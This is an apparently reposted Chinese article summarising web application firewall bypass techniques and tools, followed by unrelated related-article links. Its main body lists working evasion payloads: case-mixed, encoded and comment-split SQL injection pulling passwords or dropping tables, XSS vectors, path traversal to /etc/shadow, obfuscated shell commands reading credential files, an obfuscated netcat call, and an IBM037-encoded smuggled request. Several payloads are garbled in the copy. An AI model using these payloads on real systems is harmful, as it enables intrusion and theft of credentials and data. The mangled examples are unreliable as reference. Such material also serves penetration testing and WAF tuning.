WAF绕过总结+工具介绍

article/2025/4/22 22:24:35

什么是WAF

Waf是web应用防火墙( Web Application Firewa‖l)的简称,对来自Web应用程序客户端的各类请求进行内容检测和验证,确保其安全性与合法性,对非法的请求予以实时阻断,为web应用提供防护,也称作应用防火墙,是网络安全纵深防御体系里重要的一环。waf属于检测型及纠正型防御控制措施。waf分为硬件waf、软件waf( ModSecurity)、代码级waf。

WAF的原理

waf对请求的内容进行规则匹配、行为分析等识别出恶意行为,并执行相关动作,这些动作包括阻断、记录、告警等。

waf工作在web服务器之前,对基于HTTP协议的通信进行检测和识别。通俗的说,waf类似于地铁站的安检,对于HTTP请求进行快速安全检查,通过解析HTTP数据,在不同的字段分别在特征、规则等维度进行判断,判断的结果作为是否拦截的依据从而决定是否放行。

2021最新整理网络安全/渗透测试/安全学习/100份src技术文档(全套视频、大厂面经、精品手册、必备工具包、路线)一>获取<一

总结使用WAF的原因

深度防御策略;

检测并阻止针对易受攻击的Web应用程序的攻击。

防范各种漏洞;

保护公司的网络环境。

受欢迎的WAF供应商

image.png

如何找到WAF类型和真实IP地址

1.使用shodan.io或censys.io2.搜索SPF记录和TXT记录。SPF和TXT记录可能存在原始的IP地址。3.也可以在“历史数据”中进行检索,在旧记录中可能具有原始IP。查找域名、IP地址等历史数据:securitytrails.com

如何证明WAF已经正确设置

WAF使用标准端口80、443、8000、8008、8080和8088端口;

WAF在请求中设置自己的cookie;

WAF将自己与单独的标头关联;

WAF在服务器标头中公开自己;

WAF在响应内容中公开自己;

WAF会根据恶意请求以唯一的响应代码进行响应;

从浏览器发送标准GET请求,拦截并记录响应头(特定的cookie);

从命令行发送请求(例如cURL),然后检查响应内容和标头;

将GET请求发送到随机打开的端口,并检查可能暴露WAF身份的标语;

尝试一些SQL注入playload,例如:“”或1 = 1-登录表单或忘记密码;

在某些输入字段中尝试使用XSS有效playload,例如

检查和绕过WAF的工具

w3af — Web应用程序攻击和审核框架wafw00f —识别和指纹Web应用程序防火墙BypassWAF –通过滥用DNS历史记录来绕过防火墙。该工具将搜索旧的DNS A记录,并检查服务器是否对该域进行答复。 CloudFail –是一种战术侦察工具,试图在Cloudflare WAF后面找到原始IP地址。

绕过WAF的技术

(1)请求真实ip绕过waf:部分watf部署架构的特性,部分waf并不是直接串在目标站点线路上,而是通过DNS解析的形式部署,此时可以先探测到目标站点的真实ip直接请求ip以此绕过waf的检测;

(2)检测内容范围绕过:waf性能限制,检测特定内容前几k或几十K的内容,然后在此特定内容段内填充物用数据, payload放于物用数据后,以此绕过检测;

(3)协议盲区绕过:waf根据自己的防御策略所支持的协议特性,针对该协议内的请求进行检查,但是存在一些协议检测或协议运行机制上的缺陷导致被绕过,例如协议未覆盖、协议解析不正确、协议解析遗漏等;

(4)检测规则绕过:waf工程师规则编写经验、规则覆盖面等问题,来绕过检测,例如利用 MySQL对一些特殊字符处理的特性、语法特性绕过。

1.大小写转换技术

组合大写和小写字符以创建有效的有效内容。

基本要求:URL中的示例:http://example.com/index.php?page_id=-1 UnIoN SeLeCT 1,2,3,4

2. URL编码技术

使用%编码/ URL编码对普通有效载荷进行编码;

您可以使用Burp。它具有编码器/解码器工具。

被WAF阻止:<Svg/x=">"/OnLoAD=confirm()//绕过的技术:%3CSvg%2Fx%3D%22%3E%22%2FOnLoAD%3Dconfirm%28%29%2F%2F被WAF阻止:UniOn(SeLeCt 1,2,3,4,5,6,7,8,9,10)绕过的技术:UniOn%28SeLeCt+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%29URL中的示例:https://example.com/page.php?id=1%252f%252a*/UNION%252f%252a /SELECT

3. Unicode技术

Unicode编码的ASCII字符为我们提供了绕过WAF的绝佳变体;

对整个或部分有效载荷进行编码以获得结果。

基本要求:混淆:被WAF阻止:/?redir=http://google.com绕过的技术:/?redir=http://google。com (Unicode alternative)被WAF阻止:x绕过的技术:<marquee loop=1 onfinish=alert︵1)>x (Unicode alternative)基本要求:…/…/etc/shadow混淆:%C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFshadow

4. HTML编码技术

Web应用将特殊字符编码为HTML。对它们进行编码和渲染;

基本的绕过情况,带有HTML编码的数字和通用编码。

基本要求:">编码有效载荷:"><img src=x οnerrοr=confirm()> 编码有效载荷:"><img src=x οnerrοr=confirm()>

5.混合编码技术

这样的规则通常倾向于滤除特定类型的编码;

混合编码有效载荷可绕过此类过滤器;

换行符和选项卡,进一步增加了混淆。

混淆负载:XSS

6.使用注释技术

注释使标准有效载荷向量模糊不清;

不同的有效载荷具有不同的混淆方式。

被WAF阻止:被WAF阻止:/?id=1+union+select+1,2–绕过的技术:/?id=1+un//ion+sel//ect+1,2–

在攻击字符串中间插入注释。例如,/ *!SELECT * /可能会被WAF忽略,但会传递到目标应用程序并由mysql数据库进行处理。

URL中的示例:index.php?page_id=-1 %55nION/**/%53ElecT 1,2,3,4   'union%a0select pass from users#URL中的示例:index.php?page_id=-1 /!UNION/ /!SELECT/ 1,2,3

7.双重编码技术

Web应用程序防火墙策略倾向于对字符进行编码以保护Web应用程序;

较差的过滤器(没有递归过滤器)可以通过双重编码来绕过。

基本要求:http://example/cgi/…/…/winnt/system32/cmd.exe?/c+dir+c:\混淆负载:http://example/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\基本要求:混淆负载:%253Cscript%253Econfirm()%253C%252Fscript%253E

8.通配符混淆技术

各种命令行实用程序使用全局模式来处理多个文件;

我们可以更改它们以运行系统命令。

基本要求:/bin/cat /etc/passwd混淆负载:/???/??t /???/??ss??二手字符:/ ? t s基本要求:/bin/nc 127.0.0.1 443混淆负载:/???/n? 2130706433 443二手字符:/ ? n [0-9]动态有效载荷生成技术:

编程语言具有不同的连接模式和语法;

这使我们能够生成可以绕过许多过滤器和规则的有效载荷。

基本要求:基本要求:/bin/cat /etc/shadow混淆负载:/bi’n’’’/c’‘at’ /e’tc’/sh’'ad’owBash允许执行路径串联。基本要求:<iframe/οnlοad=‘this[“src”]=“javascript:confirm()”’;>混淆负载<iframe/οnlοad=‘this[“src”]=“jav”+“as cr”+“ipt:con”+“fir”+“m()”’;>

9.垃圾字符技术

WAF可以轻松过滤掉简单的有效负载;

添加一些垃圾字符有助于避免检测(仅在特定情况下);

此技术通常有助于混淆基于正则表达式的防火墙。

基本要求:基本要求:混淆负载:<BODY onload!#$%&()*~±_.,:;?@[/|]^`=confirm()>基本要求:ClickMe绕过的技术:ClickMe

10.换行技术

许多具有基于正则表达式的WAF可以有效地阻止许多尝试;

换行技术(CR和LF)可以破坏防火墙的正则表达式并绕过某些东西。

基本要求:<iframe src=javascript:confirm(hacker)">混淆负载:

11.未初始化的变量技术

可以使用未初始化的bash变量规避基于正则表达式的错误过滤器;

该值等于null,其作用类似于空字符串;

Bash和Perl允许这种解释。

一级混淆:正常

基本要求:
/bin/cat /etc/shadow

混淆负载:
/bin/cat u / e t c / s h a d o w u /etc/shadow u/etc/shadowu

二级混淆:基于位置

基本要求:
/bin/cat /etc/shadow

混淆负载:
u / b i n u/bin u/binu/cat$u u / e t c u/etc u/etcu/shadow$u

第三层混淆:随机字符

基本要求:
/bin/cat /etc/passwd

混淆负载:
a a a a a a / b i n aaaaaa/bin aaaaaa/binbbbbbb/cat$ccccccc d d d d d d / e t c dddddd/etc dddddd/etceeeeeee/passwd$fffffff

12.制表符和换行技术

选项卡通常有助于规避防火墙,尤其是基于正则表达式的防火墙。

当正则表达式需要空格而不是制表符时,制表符可以帮助打破WAF正则表达式。

基本要求:绕过的技术:变体:基本要求:http://test.com/test?id=1 union select 1,2,3绕过的技术:http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3基本要求:混淆负载:

13.令牌破坏者技术

对令牌的攻击企图打破使用令牌中断器将请求拆分为令牌的逻辑;

令牌破坏器是允许影响字符串的元素和某个令牌之间的对应关系的符号;

使用令牌破坏器时,我们的请求必须保持有效;

案例研究:令牌生成器的未知令牌

我们的有效载荷:?id=‘-sqlite_version() UNION SELECT passwords FROM users –

案例研究:解析器的未知上下文(注意无上下文的括号)

第一有效载荷:?id=12);DROP TABLE users --第二有效载荷:?id=133) INTO OUTFILE ‘xxx’ –

14.其他格式的混淆

许多Web应用程序支持不同的编码类型,并且可以解释编码

我们始终需要将有效负载混淆为WAF不支持的格式,但是服务器会走私我们的有效负载。

IIS案例:

IIS 6、7.5、8和10允许IBM037字符解释;

发送带有查询的编码参数。

原始请求:POST /example.aspx?id7=sometext HTTP/1.1
HOST: target.org
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 27
id2='union all select * from users–带有URL编码的混淆请求:POST /example.aspx?%89%84%F7=%A2%95%94%86%A3%88%89%95%87 HTTP/1.1
HOST: target.org
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 127
%89%84%F2=%7D%A4%95%89%97%95%40%81%93%94%40%A2%85%93%85%84%A3%40%5C%40%86%99%97%94%40%A4%A2%85%99%A2%60%60
(5)文件包含绕过:相对路径、绝对路径。


http://chatgpt.dhexx.cn/article/kH3cQjMq.shtml

相关文章

Java基础入门笔记(看到就是赚到)

一、初始java 1. 生活中的程序&#xff1a; 从起床到上班的过程 穿衣打扮—起床—洗漱—吃饭—出门—乘坐交通工具—到公司 2.计算机中的程序: 一组有序指令的集合,需要和计算机交流就要使用计算机语言&#xff0c;java就是计算机语言的一种 3.java能做什么&#xff1a; …

vue-plugin-hiprint vue hiprint vue使用hiprint打印控件VUE HiPrint HiPrint简单使用

vue-plugin-hiprint vue hiprint vue使用hiprint打印控件VUE HiPrint HiPrint简单使用 安装相关依赖安装 vue-plugin-hiprintJQuery安装 打印客户端 引入依赖打印 html 内容 - 简单使用根据模版打印 - 简单使用以下内容 和上面demo 没关系 &#xff01;&#xff01;&#xff01…

Kafka问题整理 (Too many open files等)/kafka重要参数总结

1.Kafka集群搭建好以后&#xff0c;运行一段时间Kafka节点挂掉&#xff0c;程序中出现如下错误 ERROR Error while accepting connection (kafka.network.Acceptor) java.io.IOException: Too many open files 或者 ERROR Error while deleting the clean shutdown file in…

picoCTF,Reverse Engineering,逆向类,42/55

picoCTF&#xff0c;Reverse Engineering&#xff0c;42/55 2019 picoCTF01、vault-door-training&#xff0c;50分02、vault-door-1&#xff0c;100分03、vault-door-3&#xff0c;200分04、vault-door-4&#xff0c;250分05、vault-door-5&#xff0c;300分06、vault-door-6&…

Java学习(12)(String类、String的查找方法、字符串转化、 替换、拆分、截取、trim方法、字符串的不可变性、StringBuilder和StringBuffer)

接上次博客&#xff1a;Java学习&#xff08;11&#xff09;&#xff1a;Java实现图书馆书库管理系统_di-Dora的博客-CSDN博客 目录 String类 构造字符串的方法&#xff1a; String 对象的比较 1、比较是否引用了同一个对象。 2、比较字符串内容是否相同 3、"int co…

渗透测试工具实战技巧合集

本文为作者总结自己在渗透测试中常用的一些小技巧。原文分为两部分&#xff0c;译者将其合二为一&#xff0c;方便大家查阅。 最好的 NMAP 扫描策略 # 适用所有大小网络最好的 nmap 扫描策略# 主机发现&#xff0c;生成存活主机列表 $ nmap -sn -T4 -oG Discovery.gnmap 192.1…

Netty堆外内存泄漏排查,这一篇全讲清楚了

上篇文章介绍了Netty内存模型原理&#xff0c;由于Netty使用不当会导致堆外内存泄漏&#xff0c;网上关于这方面的资料比较少&#xff0c;所以写下这篇文章&#xff0c;基于Netty4.1.43.Final&#xff0c;专门介绍排查Netty堆外内存相关的知识点&#xff0c;诊断工具&#xff0…

分支选择结构

分支语句又被称为选择结构&#xff0c;选择结构就是根据一个boolean表达式,来决定执行哪一些代码(代码块)。比较常见的分支语句有if语句和switch语句&#xff0c;下面将以代码的形式说明if和switch语句的基本构成以及其作用。 1、if语句&#xff1a;if语句作为选择语句&#xf…

选择结构。

1. 掌握if(如果)选择(分支)结构 注意&#xff1a; 经常会用到标志位&#xff0c;定义标志位的时候 也得考虑其位置 是局部变量还是全局变量 掌握基本if if(条件){// 条件成立时执行的内容 }掌握if-else(互斥) if(条件){// 条件成立 }else{// 条件不成立 }一般流程图也是这样…

C#选择结构

选择结构 概述IF选择语句if单分支选择结构if…else双分支选择结构if…else if…else多分支选择结构 switch选择语句基本语法 this关键字 概述 在程序当中&#xff0c;也存在选择语句&#xff0c;C#中共有2个选择语句&#xff1a;if和switch&#xff0c;if是单分支选择语句&…

5、选择结构

什么是选择结构 C程序的执行通常是按照顺序从上到下逐行执行。 而选择结构是根据某个变量或表达式的值来选择哪些语句执行&#xff0c;哪些语句不执行。 选择结构需要先进行条件判断&#xff08;对表达式的值判断&#xff09;&#xff0c;根据表达式的值选择是否执行。 三木运…

Python的选择结构

Python的选择结构—— if 语句 Python 中的选择结构就是判断真假。 Python 中的 if 语句就是选取要执行的结果&#xff0c;从一些备选的操作中进行要选择的语句。 if 语句后面跟着一个或多个可选的 elif &#xff08;“ else if ”&#xff09;&#xff0c;以及一个最终可选的…

初识C语言—— 选择结构程序设计

文章目录 一、if语句二、if语句的基本形式1.if语句形式2.if...else语句形式3.else if语句形式 三、if的嵌套形式四、条件运算符五、switch语句1switch语句的基本形式2.多路开关模式的switch语句 六、if...else语句和switch语句的区别七、总结 一、if语句 在C语言程序中&#x…

顺序结构 与 选择结构

1、顺序结构 流程&#xff1a;就是"程序代码的执行"顺序。 流程控制&#xff1a; 规定的语句&#xff0c;按照 哪几种方式 执行。&#xff08;这几种方式 指的是 顺序结构、选择结构、循环结构&#xff09; 顺序结构&#xff1a;按照程序&#xff08;自上而下&…

选择结构语句

if条件语句 ifelse的多层叠加 格式流程图代码console结论 ifelse ifelse语句 格式流程图代码console结论 if条件语句 1.if&#xff08;&#xff09;…else的多层叠加 格式 if&#xff08;判断语句&#xff09;{ 执行if语句1 }else{ 执行esle语句1} if&#xff08;判断语句…

C语言中的选择结构

C语言中的条件控制语句选择结构 在C语言中&#xff0c;一共有三种程序结构&#xff1a;顺序结构、选择结构&#xff08;分支结构&#xff09;和循环结构。顺序结构&#xff0c;从头到尾一句接着一句的执行下来&#xff0c;直到执行完最后一句&#xff1b;选择结构&#xff0c;…

顺序结构、选择结构

1、顺序结构 计算机执行程序的步骤是从上到下依次执行。 2、选择结构 选择结构也叫条件控制语句&#xff0c;主要有if语句、if…else语句、条件表达式exp1? exp2&#xff1a;exp3、switch语句。 1&#xff09;if语句、if…else语句 if语句主要有单分支、双分支和多分支三…

if选择结构

if选择结构一共有三种分别是 if 型 if else 型 if else if else型 第一种 if型 使用场景&#xff1a;需要进行判断时使用&#xff1b; int a 1, b 1; if (a b){System.out.println(&qu…

选择结构(一)

一 流程控制 1.有三种基本结构:顺序结构、选择结构、循环结构 顺序结构 选择结构 循环结构 2.流程控制语句是控制程序中各语句执行顺序的语句 二 选择结构 1.根据一定的条件有选择地执行或跳过特定的语句 2.选择结构可以分为单分支、双分支、多分支 3.语法:if ( 表达式 ) {…

C语言 选择结构

一.选择结构 1. 单分支选择结构 2. 双分支选择结构 3. 多分支选择结构 1. 单分支选择结构 1.1何为单分支选择结构&#xff1f; 从开始到结束之间只有一条路可供选择。 1.2何为双分支结构&#xff1f; 从开始到结束之间有两条路可供选择。 1.3何为多分支结构&#xff1f; 从开…